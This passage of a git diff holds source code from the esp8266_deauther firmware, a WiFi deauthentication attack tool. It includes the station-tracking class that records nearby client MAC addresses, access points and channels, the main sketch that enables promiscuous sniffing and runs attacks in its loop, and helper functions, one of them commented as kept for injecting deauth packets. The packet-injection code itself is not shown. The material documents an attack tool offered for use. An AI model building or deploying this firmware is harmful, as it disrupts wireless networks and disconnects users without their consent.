||||
|
||||
uint8_t* Stations::getAPMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.BSSID(list->get(num).ap);
|
||||
}
|
||||
|
||||
String Stations::getAPMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getAPMac(num);
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
int Stations::getAP(int num) {
|
||||
if (!check(num)) return -1;
|
||||
|
||||
return accesspoints.find(list->get(num).ap);
|
||||
}
|
||||
|
||||
String Stations::getNameStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return names.find(getMac(num));
|
||||
}
|
||||
|
||||
bool Stations::hasName(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return names.findID(getMac(num)) >= 0;
|
||||
}
|
||||
|
||||
uint8_t* Stations::getMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return list->get(num).mac;
|
||||
}
|
||||
|
||||
String Stations::getMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getMac(num);
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
String Stations::getMacVendorStr(int num) {
|
||||
String value;
|
||||
|
||||
if (check(num)) {
|
||||
value = getVendorStr(num) + ":";
|
||||
uint8_t* mac = getMac(num);
|
||||
|
||||
for (int i = 3; i < 6; i++) {
|
||||
if (mac[i] < 0x10) value += "0";
|
||||
value += String(mac[i], HEX);
|
||||
|
||||
if (i < 5) value += ":";
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
String Stations::getVendorStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return searchVendor(list->get(num).mac);
|
||||
}
|
||||
|
||||
String Stations::getSelectedStr(int num) {
|
||||
return b2a(getSelected(num));
|
||||
}
|
||||
|
||||
uint32_t* Stations::getPkts(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).pkts;
|
||||
}
|
||||
|
||||
uint32_t* Stations::getTime(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).time;
|
||||
}
|
||||
|
||||
String Stations::getTimeStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint32_t difference = currentTime - *getTime(num);
|
||||
|
||||
if (difference < 1000) return str(ST_SMALLER_ONESEC);
|
||||
else if (difference < 60000) return str(ST_SMALLER_ONEMIN);
|
||||
else {
|
||||
uint32_t minutes = difference / 60000;
|
||||
|
||||
if (minutes > 60) return str(ST_BIGER_ONEHOUR);
|
||||
else return (String)minutes + str(STR_MIN);
|
||||
}
|
||||
}
|
||||
|
||||
bool Stations::getSelected(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return list->get(num).selected;
|
||||
}
|
||||
|
||||
uint8_t Stations::getCh(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return list->get(num).ch;
|
||||
}
|
||||
|
||||
void Stations::select(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_select(num);
|
||||
prnt(ST_SELECTED_STATION);
|
||||
prntln(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::deselect(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_deselect(num);
|
||||
prnt(ST_DESELECTED_STATION);
|
||||
prntln(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_remove(num);
|
||||
prnt(ST_REMOVED_STATION);
|
||||
prntln(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::select(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getAPStr(i).equalsIgnoreCase(ssid)) select(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::deselect(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getAPStr(i).equalsIgnoreCase(ssid)) deselect(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::remove(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getAPStr(i).equalsIgnoreCase(ssid)) remove(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::selectAll() {
|
||||
for (int i = 0; i < count(); i++) internal_select(i);
|
||||
prntln(ST_SELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::deselectAll() {
|
||||
for (int i = 0; i < count(); i++) internal_deselect(i);
|
||||
prntln(ST_DESELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Stations::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
int Stations::selected() {
|
||||
int num = 0;
|
||||
|
||||
for (int i = 0; i < count(); i++)
|
||||
if (getSelected(i)) num++;
|
||||
return num;
|
||||
}
|
||||
|
||||
bool Stations::check(int num) {
|
||||
if (internal_check(num)) {
|
||||
return true;
|
||||
} else {
|
||||
prnt(ST_ERROR_ID);
|
||||
prntln(num);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
bool Stations::internal_check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void Stations::internal_select(int num) {
|
||||
Station changedStation = list->get(num);
|
||||
|
||||
changedStation.selected = true;
|
||||
list->replace(num, changedStation);
|
||||
}
|
||||
|
||||
void Stations::internal_deselect(int num) {
|
||||
Station changedStation = list->get(num);
|
||||
|
||||
changedStation.selected = false;
|
||||
list->replace(num, changedStation);
|
||||
}
|
||||
|
||||
void Stations::internal_remove(int num) {
|
||||
free(getMac(num));
|
||||
free(getPkts(num));
|
||||
free(getTime(num));
|
||||
list->remove(num);
|
||||
}
|
||||
|
||||
void Stations::internal_add(uint8_t* mac, int accesspointNum) {
|
||||
if (count() >= STATION_LIST_SIZE) removeOldest();
|
||||
|
||||
Station newStation;
|
||||
newStation.ap = accesspointNum;
|
||||
newStation.ch = wifi_channel;
|
||||
newStation.mac = (uint8_t*)malloc(6);
|
||||
newStation.pkts = (uint32_t*)malloc(sizeof(uint32_t));
|
||||
newStation.time = (uint32_t*)malloc(sizeof(uint32_t));
|
||||
newStation.selected = false;
|
||||
|
||||
memcpy(newStation.mac, mac, 6);
|
||||
*newStation.pkts = 1;
|
||||
*newStation.time = currentTime;
|
||||
|
||||
list->add(newStation);
|
||||
}
|
||||
|
||||
void Stations::internal_removeAll() {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
free(getMac(i));
|
||||
free(getPkts(i));
|
||||
free(getTime(i));
|
||||
}
|
||||
list->clear();
|
||||
}
|
||||
98
enp8266/esp8266_deauther-master/esp8266_deauther/Stations.h
Executable file
98
enp8266/esp8266_deauther-master/esp8266_deauther/Stations.h
Executable file
@@ -0,0 +1,98 @@
|
||||
#ifndef Stations_h
|
||||
#define Stations_h
|
||||
|
||||
#include "Arduino.h"
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Accesspoints.h"
|
||||
#include "Names.h"
|
||||
|
||||
#define STATION_LIST_SIZE 60
|
||||
extern Accesspoints accesspoints;
|
||||
extern Names names;
|
||||
extern uint8_t wifi_channel;
|
||||
extern uint32_t currentTime;
|
||||
|
||||
extern String searchVendor(uint8_t* mac);
|
||||
extern bool macMulticast(uint8_t* mac);
|
||||
extern bool macValid(uint8_t* mac);
|
||||
extern bool macBroadcast(uint8_t* mac);
|
||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||
|
||||
class Stations {
|
||||
public:
|
||||
Stations();
|
||||
|
||||
void sort();
|
||||
void sortAfterChannel();
|
||||
|
||||
void select(int num);
|
||||
void deselect(int num);
|
||||
void remove(int num);
|
||||
|
||||
void select(String ssid);
|
||||
void deselect(String ssid);
|
||||
void remove(String ssid);
|
||||
|
||||
void add(uint8_t* mac, int accesspointNum);
|
||||
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
void removeOldest();
|
||||
|
||||
String getNameStr(int num);
|
||||
String getAPStr(int num);
|
||||
String getMacStr(int num);
|
||||
String getMacVendorStr(int num);
|
||||
String getVendorStr(int num);
|
||||
String getTimeStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t* getAPMac(int num);
|
||||
String getAPMacStr(int num);
|
||||
uint8_t* getMac(int num);
|
||||
uint32_t* getPkts(int num);
|
||||
uint32_t* getTime(int num);
|
||||
uint8_t getCh(int num);
|
||||
int getAP(int num);
|
||||
bool getSelected(int num);
|
||||
bool hasName(int num);
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void printAll();
|
||||
void printSelected();
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
|
||||
bool check(int num);
|
||||
bool changed = false;
|
||||
|
||||
private:
|
||||
struct Station {
|
||||
uint8_t ap;
|
||||
uint8_t ch;
|
||||
uint8_t * mac;
|
||||
uint32_t* pkts;
|
||||
uint32_t* time;
|
||||
bool selected;
|
||||
};
|
||||
|
||||
SimpleList<Station>* list;
|
||||
|
||||
int findStation(uint8_t* mac);
|
||||
int findAccesspoint(uint8_t* mac);
|
||||
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_add(uint8_t* mac, int accesspointNum);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
||||
|
||||
#endif // ifndef Stations_h
|
||||
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/LICENSE.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/LICENSE.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/attack.html.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/attack.html.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/index.html.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/index.html.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/info.html.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/info.html.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/js/attack.js.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/js/attack.js.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/js/scan.js.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/js/scan.js.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/js/settings.js.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/js/settings.js.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/js/site.js.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/js/site.js.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/js/ssids.js.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/js/ssids.js.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/cn.lang.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/cn.lang.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/cs.lang.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/cs.lang.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/de.lang.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/de.lang.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/en.lang.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/en.lang.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/es.lang.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/es.lang.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/fi.lang.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/fi.lang.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/fr.lang.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/fr.lang.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/it.lang.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/it.lang.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/ro.lang.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/ro.lang.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/ru.lang.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/ru.lang.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/tlh.lang.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/tlh.lang.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/scan.html.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/scan.html.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/settings.html.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/settings.html.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/ssids.html.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/ssids.html.gz
Executable file
Binary file not shown.
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/style.css.gz
Executable file
BIN
enp8266/esp8266_deauther-master/esp8266_deauther/data/web/style.css.gz
Executable file
Binary file not shown.
180
enp8266/esp8266_deauther-master/esp8266_deauther/esp8266_deauther.ino
Executable file
180
enp8266/esp8266_deauther-master/esp8266_deauther/esp8266_deauther.ino
Executable file
@@ -0,0 +1,180 @@
|
||||
/*
|
||||
===========================================
|
||||
Copyright (c) 2018 Stefan Kremser
|
||||
github.com/spacehuhn
|
||||
===========================================
|
||||
*/
|
||||
|
||||
extern "C" {
|
||||
// Please follow this tutorial:
|
||||
// https://github.com/spacehuhn/esp8266_deauther/wiki/Installation#compiling-using-arduino-ide
|
||||
// And be sure to have the right board selected
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include <EEPROM.h>
|
||||
|
||||
#include <ArduinoJson.h>
|
||||
#if ARDUINOJSON_VERSION_MAJOR != 5
|
||||
// The software was build using ArduinoJson v5.x
|
||||
// version 6 is still in beta at the time of writing
|
||||
// go to tools -> manage libraries, search for ArduinoJSON and install the latest version 5
|
||||
#error Please upgrade/downgrade ArduinoJSON library to version 5!
|
||||
#endif
|
||||
|
||||
#include "oui.h"
|
||||
#include "language.h"
|
||||
#include "functions.h"
|
||||
#include "Settings.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
#include "Attack.h"
|
||||
#include "CLI.h"
|
||||
#include "DisplayUI.h"
|
||||
#include "A_config.h"
|
||||
#include "webfiles.h"
|
||||
|
||||
#include "LED.h"
|
||||
|
||||
// Run-Time Variables //
|
||||
LED led;
|
||||
Settings settings;
|
||||
Names names;
|
||||
SSIDs ssids;
|
||||
Accesspoints accesspoints;
|
||||
Stations stations;
|
||||
Scan scan;
|
||||
Attack attack;
|
||||
CLI cli;
|
||||
DisplayUI displayUI;
|
||||
|
||||
#include "wifi.h"
|
||||
|
||||
uint32_t autosaveTime = 0;
|
||||
uint32_t currentTime = 0;
|
||||
|
||||
bool booted = false;
|
||||
|
||||
void setup() {
|
||||
// for random generator
|
||||
randomSeed(os_random());
|
||||
|
||||
// start serial
|
||||
Serial.begin(115200);
|
||||
Serial.println();
|
||||
|
||||
// start SPIFFS
|
||||
prnt(SETUP_MOUNT_SPIFFS);
|
||||
prntln(SPIFFS.begin() ? SETUP_OK : SETUP_ERROR);
|
||||
|
||||
// Start EEPROM
|
||||
EEPROM.begin(4096);
|
||||
|
||||
// auto repair when in boot-loop
|
||||
uint8_t bootCounter = EEPROM.read(0);
|
||||
|
||||
if (bootCounter >= 3) {
|
||||
prnt(SETUP_FORMAT_SPIFFS);
|
||||
SPIFFS.format();
|
||||
prntln(SETUP_OK);
|
||||
} else {
|
||||
EEPROM.write(0, bootCounter + 1); // add 1 to the boot counter
|
||||
EEPROM.commit();
|
||||
}
|
||||
|
||||
// get time
|
||||
currentTime = millis();
|
||||
|
||||
// load settings
|
||||
settings.load();
|
||||
|
||||
// set mac for access point
|
||||
wifi_set_macaddr(SOFTAP_IF, settings.getMacAP());
|
||||
|
||||
// start WiFi
|
||||
WiFi.mode(WIFI_OFF);
|
||||
wifi_set_opmode(STATION_MODE);
|
||||
wifi_set_promiscuous_rx_cb([](uint8_t* buf, uint16_t len) {
|
||||
scan.sniffer(buf, len);
|
||||
});
|
||||
|
||||
// set mac for station
|
||||
wifi_set_macaddr(STATION_IF, settings.getMacSt());
|
||||
|
||||
// start display
|
||||
if (settings.getDisplayInterface()) {
|
||||
displayUI.setup();
|
||||
displayUI.mode = displayUI.DISPLAY_MODE::INTRO;
|
||||
}
|
||||
|
||||
// copy web files to SPIFFS
|
||||
copyWebFiles(false);
|
||||
|
||||
// load everything else
|
||||
names.load();
|
||||
ssids.load();
|
||||
cli.load();
|
||||
|
||||
// create scan.json
|
||||
scan.setup();
|
||||
|
||||
// set channel
|
||||
setWifiChannel(settings.getChannel());
|
||||
|
||||
// load Wifi settings: SSID, password,...
|
||||
#ifdef DEFAULT_SSID
|
||||
if (settings.getSSID() == "pwned") settings.setSSID(DEFAULT_SSID);
|
||||
#endif // ifdef DEFAULT_SSID
|
||||
loadWifiConfigDefaults();
|
||||
|
||||
// dis/enable serial command interface
|
||||
if (settings.getCLI()) {
|
||||
cli.enable();
|
||||
} else {
|
||||
prntln(SETUP_SERIAL_WARNING);
|
||||
Serial.flush();
|
||||
Serial.end();
|
||||
}
|
||||
|
||||
// start access point/web interface
|
||||
if (settings.getWebInterface()) startAP();
|
||||
|
||||
// STARTED
|
||||
prntln(SETUP_STARTED);
|
||||
|
||||
// version
|
||||
prntln(settings.getVersion());
|
||||
|
||||
// setup LED
|
||||
led.setup();
|
||||
}
|
||||
|
||||
void loop() {
|
||||
currentTime = millis();
|
||||
|
||||
led.update(); // update LED color
|
||||
wifiUpdate(); // manage access point
|
||||
attack.update(); // run attacks
|
||||
displayUI.update();
|
||||
cli.update(); // read and run serial input
|
||||
scan.update(); // run scan
|
||||
ssids.update(); // run random mode, if enabled
|
||||
|
||||
// auto-save
|
||||
if (settings.getAutosave() && (currentTime - autosaveTime > settings.getAutosaveTime())) {
|
||||
autosaveTime = currentTime;
|
||||
names.save(false);
|
||||
ssids.save(false);
|
||||
settings.save(false);
|
||||
}
|
||||
|
||||
if (!booted) {
|
||||
// reset boot counter
|
||||
EEPROM.write(0, 0);
|
||||
EEPROM.commit();
|
||||
booted = true;
|
||||
#ifdef HIGHLIGHT_LED
|
||||
displayUI.setupLED();
|
||||
#endif // ifdef HIGHLIGHT_LED
|
||||
}
|
||||
}
|
||||
790
enp8266/esp8266_deauther-master/esp8266_deauther/functions.h
Executable file
790
enp8266/esp8266_deauther-master/esp8266_deauther/functions.h
Executable file
@@ -0,0 +1,790 @@
|
||||
#ifndef functions_h
|
||||
#define functions_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <FS.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "ArduinoJson.h"
|
||||
|
||||
/*
|
||||
Here is a collection of useful functions and variables.
|
||||
They are used globally via an 'extern' reference in every class.
|
||||
Making everything static will lead to problems with the Arduino ESP8266 2.0.0 SDK,
|
||||
there were some fixed in later version but we need to use the old version for injecting deauth packets.
|
||||
*/
|
||||
|
||||
uint8_t broadcast[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };
|
||||
uint8_t wifi_channel = 1;
|
||||
|
||||
// ===== UTF8 FIX ===== //
|
||||
String escape(String str) {
|
||||
str.replace(String(BACKSLASH), String(BACKSLASH) + String(BACKSLASH));
|
||||
str.replace(String(DOUBLEQUOTES), String(BACKSLASH) + String(DOUBLEQUOTES));
|
||||
return str;
|
||||
}
|
||||
|
||||
bool ascii(char c) {
|
||||
return c >= 0 && c <= 127;
|
||||
}
|
||||
|
||||
bool printableAscii(char c) {
|
||||
return c >= 32 && c <= 126;
|
||||
}
|
||||
|
||||
bool getBit(uint8_t b, uint8_t n) {
|
||||
return (b >> n) % 2 != 0;
|
||||
}
|
||||
|
||||
uint8_t utf8(uint8_t c) {
|
||||
if (!getBit(c, 7)) return 1;
|
||||
|
||||
if (getBit(c, 7) && getBit(c, 6) && !getBit(c, 5)) return 2;
|
||||
|
||||
if (getBit(c, 7) && getBit(c, 6) && getBit(c, 5) && !getBit(c, 4)) return 3;
|
||||
|
||||
if (getBit(c, 7) && getBit(c, 6) && getBit(c, 5) && getBit(c, 4) && !getBit(c, 3)) return 4;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool utf8Part(uint8_t c) {
|
||||
return getBit(c, 7) && !getBit(c, 6);
|
||||
}
|
||||
|
||||
String fixUtf8(String str) {
|
||||
int size = str.length();
|
||||
|
||||
String result = String();
|
||||
char c;
|
||||
uint8_t len;
|
||||
bool ok;
|
||||
|
||||
for (int i = 0; i < size; i++) {
|
||||
c = str.charAt(i); // get character
|
||||
len = utf8(c); // get utf8 char len
|
||||
|
||||
if (len <= 1) {
|
||||
result += c; // when 1 byte char, add it :)
|
||||
}
|
||||
else if (i + len > size) { // when char bigger than remaining string, end loop
|
||||
i = size + 1;
|
||||
}
|
||||
else {
|
||||
ok = true;
|
||||
|
||||
for (int j = 1; j < len && ok; j++) {
|
||||
ok = utf8Part(str.charAt(i + j)); // if following char is compliant or not
|
||||
}
|
||||
|
||||
if (ok) result += c; // everything is ok, add char and continue
|
||||
else { // utf8 char is broken
|
||||
for (int j = 1; j < len; j++) { // go through the next bytes
|
||||
c = str.charAt(i + j);
|
||||
|
||||
if (utf8(c) == 1) result += c; // when byte is ascii, add it :)
|
||||
}
|
||||
i += len - 1; // skip utf8 char because we already managed it
|
||||
}
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
String removeUtf8(String str) {
|
||||
str = fixUtf8(str); // fix it in case a utf char is broken
|
||||
int size = str.length();
|
||||
|
||||
String result = String();
|
||||
char c;
|
||||
uint8_t len;
|
||||
|
||||
for (int i = 0; i < size; i++) {
|
||||
c = str.charAt(i); // get character
|
||||
len = utf8(c); // get utf8 char len
|
||||
|
||||
if (len <= 1) result += c; // when 1 byte char, add it :)
|
||||
else i += len - 1; // skip other chars
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
int utf8Len(String str) {
|
||||
int size = str.length();
|
||||
|
||||
int result = 0;
|
||||
char c;
|
||||
uint8_t len;
|
||||
|
||||
for (int i = 0; i < size; i++) {
|
||||
c = str.charAt(i); // get character
|
||||
len = utf8(c); // get utf8 char len
|
||||
|
||||
if (len <= 1) result++; // when 1 byte char, add 1 :)
|
||||
else {
|
||||
result++;
|
||||
|
||||
for (int j = 1; j < len; j++) {
|
||||
c = str.charAt(i + j);
|
||||
|
||||
if (!utf8Part(c) && (utf8(c) == 1)) {
|
||||
Serial.println(c, HEX);
|
||||
result++; // if following char is compliant or not
|
||||
}
|
||||
}
|
||||
i += len - 1;
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
String replaceUtf8(String str, String r) {
|
||||
str = fixUtf8(str); // fix it in case a utf char is broken
|
||||
int size = str.length();
|
||||
|
||||
String result = String();
|
||||
char c;
|
||||
uint8_t len;
|
||||
|
||||
for (int i = 0; i < size; i++) {
|
||||
c = str.charAt(i); // get character
|
||||
len = utf8(c); // get utf8 char len
|
||||
|
||||
if (len <= 1) result += c; // when 1 byte char, add it :)
|
||||
else {
|
||||
result += r;
|
||||
i += len - 1; // skip other chars
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// ===== LANGUAGE STRING FUNCTIONS ===== //
|
||||
|
||||
// for reading Strings from the PROGMEM
|
||||
String str(const char* ptr) {
|
||||
char keyword[strlen_P(ptr)];
|
||||
|
||||
strcpy_P(keyword, ptr);
|
||||
return String(keyword);
|
||||
}
|
||||
|
||||
// for converting keywords
|
||||
String keyword(const char* keywordPtr) {
|
||||
char keyword[strlen_P(keywordPtr)];
|
||||
|
||||
strcpy_P(keyword, keywordPtr);
|
||||
|
||||
String str = "";
|
||||
uint8_t len = strlen(keyword);
|
||||
uint8_t i = 0;
|
||||
|
||||
while (i < len && keyword[i] != SLASH && keyword[i] != COMMA) {
|
||||
str += keyword[i];
|
||||
i++;
|
||||
}
|
||||
|
||||
return str;
|
||||
}
|
||||
|
||||
// equals function
|
||||
bool eqls(const char* str, const char* keywordPtr) {
|
||||
if (strlen(str) > 255) return false; // when string too long
|
||||
|
||||
char keyword[strlen_P(keywordPtr) + 1];
|
||||
strcpy_P(keyword, keywordPtr);
|
||||
|
||||
uint8_t lenStr = strlen(str);
|
||||
uint8_t lenKeyword = strlen(keyword);
|
||||
|
||||
if (lenStr > lenKeyword) return false; // string can't be longer than keyword (but can be smaller because of '/'
|
||||
|
||||
// and ',')
|
||||
|
||||
uint8_t a = 0;
|
||||
uint8_t b = 0;
|
||||
bool result = true;
|
||||
|
||||
while (a < lenStr && b < lenKeyword) {
|
||||
if ((keyword[b] == SLASH) || (keyword[b] == COMMA)) b++;
|
||||
|
||||
if (tolower(str[a]) != tolower(keyword[b])) result = false;
|
||||
|
||||
if (((a == lenStr) && !result) || !result) { // fast forward to next comma
|
||||
while (b < lenKeyword && keyword[b] != COMMA) b++;
|
||||
result = true;
|
||||
a = 0;
|
||||
} else {
|
||||
a++;
|
||||
b++;
|
||||
}
|
||||
}
|
||||
// comparison correct AND string checked until the end AND keyword checked until the end
|
||||
return result && a == lenStr && (keyword[b] == COMMA || keyword[b] == SLASH || keyword[b] == ENDOFLINE);
|
||||
}
|
||||
|
||||
bool eqls(String str, const char* keywordPtr) {
|
||||
return eqls(str.c_str(), keywordPtr);
|
||||
}
|
||||
|
||||
// boolean to string
|
||||
String b2s(bool input) {
|
||||
return str(input ? STR_TRUE : STR_FALSE);
|
||||
}
|
||||
|
||||
// boolean to asterix *
|
||||
String b2a(bool input) {
|
||||
return input ? String(ASTERIX) : String(SPACE);
|
||||
}
|
||||
|
||||
// string to boolean
|
||||
bool s2b(String input) {
|
||||
return eqls(input, STR_TRUE);
|
||||
}
|
||||
|
||||
// ===== PRINT FUNCTIONS ===== //
|
||||
void prnt(String s) {
|
||||
Serial.print(s);
|
||||
}
|
||||
|
||||
void prnt(bool b) {
|
||||
Serial.print(b2s(b));
|
||||
}
|
||||
|
||||
void prnt(char c) {
|
||||
Serial.print(c);
|
||||
}
|
||||
|
||||
void prnt(const char* ptr) {
|
||||
Serial.print(FPSTR(ptr));
|
||||
}
|
||||
|
||||
void prnt(int i) {
|
||||
Serial.print((String)i);
|
||||
}
|
||||
|
||||
void prntln() {
|
||||
Serial.println();
|
||||
}
|
||||
|
||||
void prntln(String s) {
|
||||
Serial.println(s);
|
||||
}
|
||||
|
||||
void prntln(bool b) {
|
||||
Serial.println(b2s(b));
|
||||
}
|
||||
|
||||
void prntln(char c) {
|
||||
Serial.println(c);
|
||||
}
|
||||
|
||||
void prntln(const char* ptr) {
|
||||
Serial.println(FPSTR(ptr));
|
||||
}
|
||||
|
||||
void prntln(int i) {
|
||||
Serial.println((String)i);
|
||||
}
|
||||
|
||||
/* ===== WiFi ===== */
|
||||
void setWifiChannel(uint8_t ch) {
|
||||
if ((ch != wifi_channel) && (ch > 0) && (ch < 15)) {
|
||||
wifi_channel = ch;
|
||||
wifi_set_channel(wifi_channel);
|
||||
}
|
||||
}
|
||||
|
||||
void setOutputPower(float dBm) {
|
||||
if (dBm > 20.5) {
|
||||
dBm = 20.5;
|
||||
} else if (dBm < 0) {
|
||||
dBm = 0;
|
||||
}
|
||||
|
||||
uint8_t val = (dBm * 4.0f);
|
||||
system_phy_set_max_tpw(val);
|
||||
}
|
||||
|
||||
/* ===== MAC ADDRESSES ===== */
|
||||
bool macBroadcast(uint8_t* mac) {
|
||||
for (uint8_t i = 0; i < 6; i++)
|
||||
if (mac[i] != broadcast[i]) return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool macValid(uint8_t* mac) {
|
||||
for (uint8_t i = 0; i < 6; i++)
|
||||
if (mac[i] != 0x00) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool macMulticast(uint8_t* mac) {
|
||||
// see https://en.wikipedia.org/wiki/Multicast_address
|
||||
if ((mac[0] == 0x33) && (mac[1] == 0x33)) return true;
|
||||
|
||||
